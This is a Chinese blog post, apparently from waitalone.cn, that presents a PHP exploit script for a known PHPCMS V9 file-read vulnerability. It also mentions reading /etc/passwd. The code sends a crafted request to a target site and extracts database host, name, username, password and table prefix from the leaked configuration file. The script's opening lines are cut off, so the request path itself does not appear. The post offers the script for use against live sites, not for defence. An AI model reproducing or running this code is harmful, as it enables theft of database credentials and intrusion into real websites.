PHPCMS V9数据库密码读取EXP

乌云N早以前就爆出来的漏洞，详见http://www.wooyun.org/bugs/wooyun-2012-010072 最近我在学习php，就是为了写些个小工具出来玩玩，就拿了这个最简单的漏洞来练手了，希望兄弟们多支持！！！

其实利用这个漏洞还可以读/etc/passwd等文件，兄弟们可以自由发挥，而我新手只会写个读数据库密码的东西，兄弟们别bs我就行了。

代码如下，请保存为*.php 执行即可

 \'(\w+)\'/', $content, $result)) {
        //print_r($result);
        echo '主机名：' . $result[2][0] . "\n";
        echo '数据库：' . $result[2][1] . "\n";
        echo '用户名：' . $result[2][2] . "\n";
        echo '密  码：' . $result[2][3] . "\n";
        echo '表前缀：' . $result[2][4] . "\n";
    }
} else {
    echo '网站不存在此漏洞';
}
function payload($url)
{
    global $host, $path;
    $data = "GET " . $path . "$url  HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $fp = @fsockopen($host, 80);
    if (!$fp) {
        die('Connect to host Error');
    }
    fwrite($fp, $data);
    $back = '';
    while (!feof($fp)) {
        $back .= fread($fp, 1024);
    }
    fclose($fp);
    return $back;
}

?>

from www.waitalone.cn.thanks for it.